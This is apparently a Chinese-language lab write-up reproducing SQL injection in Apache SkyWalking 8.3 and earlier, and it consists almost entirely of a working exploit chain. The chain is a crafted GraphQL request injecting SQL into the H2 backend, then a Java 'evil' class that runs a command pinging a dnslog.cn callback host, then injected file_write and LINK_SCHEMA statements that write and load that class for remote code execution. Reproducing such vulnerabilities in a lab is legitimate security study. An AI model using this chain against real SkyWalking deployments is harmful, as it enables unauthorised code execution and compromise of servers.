Apache Skywalking <=8.3 SQL注入分析复现

wget https://github.com/vulhub/vulhub/blob/master/skywalking/8.3.0-sqli/docker-compose.ymldocker-compose up -d

POST /graphql HTTP/1.1Host: 192.168.18.154:8080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/jsonContent-Length: 554
{    "query":"query queryLogs($condition: LogQueryCondition) {  queryLogs(condition: $condition) {    total    logs {      serviceId      serviceName      isError      content    }  }}",    "variables":{        "condition":{            "metricName":"INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --",                        "endpointId":"1",                    "traceId":"1",                    "state":"ALL",                    "stateCode":"1",            "paging":{                "pageSize":10            }        }    }}

import java.io.IOException;
public class evil {    static {        try {            Runtime.getRuntime().exec("ping 7hmkm6.dnslog.cn");        } catch (IOException e) {            e.printStackTrace();        }    }
    public static void main(String[] args) {
    }}

javac evil.java -target 1.6 -source 1.6

with open("evil.class","rb") as f:     a=f.read()     print(a.hex())

INFORMATION_SCHEMA.USERS union  all select file_write('[替换为自己的hex编码结果]','evil.class'))a where 1=? or 1=? or 1=? --

INFORMATION_SCHEMA.USERS union  all select LINK_SCHEMA('TEST2','evil','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --

            try (ResultSet resultSet = h2Client.executeQuery(connection, buildCountStatement(sql.toString()), parameters                .toArray(new Object[0]))) {                while (resultSet.next()) {                    logs.setTotal(resultSet.getInt("total"));                }            }